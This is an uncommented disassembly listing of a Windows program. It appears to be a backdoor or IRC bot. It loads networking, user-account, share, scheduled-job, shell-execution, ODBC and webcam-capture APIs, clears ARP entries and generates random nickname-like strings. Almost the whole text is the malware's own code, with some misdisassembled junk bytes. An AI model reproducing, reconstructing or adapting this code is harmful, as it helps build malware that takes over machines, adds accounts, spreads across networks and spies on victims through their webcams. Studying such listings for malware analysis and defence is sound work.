		cmp	dword_4CAEA4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFC4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFD8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF4C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF9C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB008, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF54, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF18, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF88, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFF8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF2C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------


loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		call	near ptr 26709FBh
		nop
		mov	dword_4CB058, eax


loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB054, 1


loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE38, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		cmp	dword_4CAEB0, ebx
		mov	ecx, dword_4CAF0C
		mov	dword_4CAFA8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE38, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF3C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF48, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE78, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE70, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE80, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC


loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB05C, 1


loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF24, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------


loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		nop
		call	near ptr 26709FBh
		mov	dword_4CB060, eax
		mov	dword_4CB05C, 1


loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF24, ebx


loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		cmp	dword_4CAEFC, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_40A466
		cmp	dword_4CB02C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------


loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 26709FBh
		mov	dword_4CB068, eax


loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB064, 1


loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE40, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE4C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE3C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		cmp	dword_4CAE68, ebx
		mov	dword_4CAEA8, eax
		jz	short loc_40A582
		cmp	dword_4CAE40, ebx
		jz	short loc_40A582
		cmp	dword_4CAEB8, ebx
		jz	short loc_40A582
		cmp	dword_4CAEEC, ebx
		jz	short loc_40A582
		cmp	dword_4CB004, ebx
		jz	short loc_40A582
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE4C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE3C, ebx
		jz	short loc_40A582
		cmp	dword_4CAED4, ebx
		jz	short loc_40A582
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A582
		cmp	dword_4CAF84, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------


loc_40A577:				; CODE XREF: sub_409B12+969j
		nop
		call	near ptr 26709FBh
		mov	dword_4CB070, eax


loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB06C, 1


loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		cmp	dword_4CAE90, ebx
		mov	dword_4CAF6C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------


loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		call	near ptr 26709FBh
		nop
		mov	dword_4CB078, eax


loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB074, 1


loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		cmp	dword_4CAFF0, ebx
		mov	dword_4CAFEC, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------


loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		nop
		call	near ptr 26709FBh
		mov	dword_4CB080, eax


loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB07C, 1


loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB01C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CAFDC, eax
		call	esi
		cmp	dword_4CB01C, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_40A68A
		cmp	dword_4CB014, ebx
		jz	short loc_40A68A
		cmp	dword_4CAFDC, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------


loc_40A67F:				; CODE XREF: sub_409B12+B19j
		call	near ptr 26709FBh
		nop
		mov	dword_4CB088, eax


loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB084, 1


loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	dword_4CAFE8, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------


loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		call	near ptr 26709FBh
		nop
		mov	dword_4CB090, eax


loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB08C, 1


loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		cmp	dword_4CAFB0, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A772
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A772
		cmp	dword_4CAF38, ebx
		jz	short loc_40A772
		cmp	dword_4CAEF0, ebx
		jz	short loc_40A772
		cmp	dword_4CAF90, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_409B12+BD7j
		call	near ptr 26709FBh
		nop
		mov	dword_4CB098, eax


loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB094, 1


loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CAEC4, ebx
		mov	dword_4CAFA4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------


loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		call	near ptr 26709FBh
		nop
		mov	dword_4CB0A0, eax


loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB09C, 1


loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB034, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB038
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB03C, esi
		jz	short loc_40A84A
		push	dword_4CB040
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB044, esi
		jz	short loc_40A87E
		push	dword_4CB048
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB04C, esi
		jz	short loc_40A8B2
		push	dword_4CB050
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB054, esi
		jz	short loc_40A8E6
		push	dword_4CB058
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB05C, esi
		jz	short loc_40A91A
		push	dword_4CB060
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB064, esi
		jz	short loc_40A94E
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB06C, esi
		jz	short loc_40A982
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB074, esi
		jz	short loc_40A9B6
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB07C, esi
		jz	short loc_40A9EA
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB084, esi
		jz	short loc_40AA1E
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB08C, esi
		jz	short loc_40AA52
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB094, esi
		jz	short loc_40AA86
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB09C, esi
		jz	short loc_40AABA
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D338
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAE90
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CAFF0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A


loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D54C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------


loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D528
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CAFF0
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------


loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D4F8


loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4C8
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]


loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CAFEC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF18
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0A4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------


loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D598o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26807BDh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D600[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D


loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B468
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7


loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		db 90h
		db 0E8h, 93h, 5Ah
; ---------------------------------------------------------------------------
		daa
		add	dl, [eax-18h]
		test	al, 0Bh
		add	[eax], eax
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_42913C ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B


loc_40AD55:				; CODE XREF: ___:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B468
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55


loc_40AD7B:				; CODE XREF: ___:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 26807BDh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3


loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD


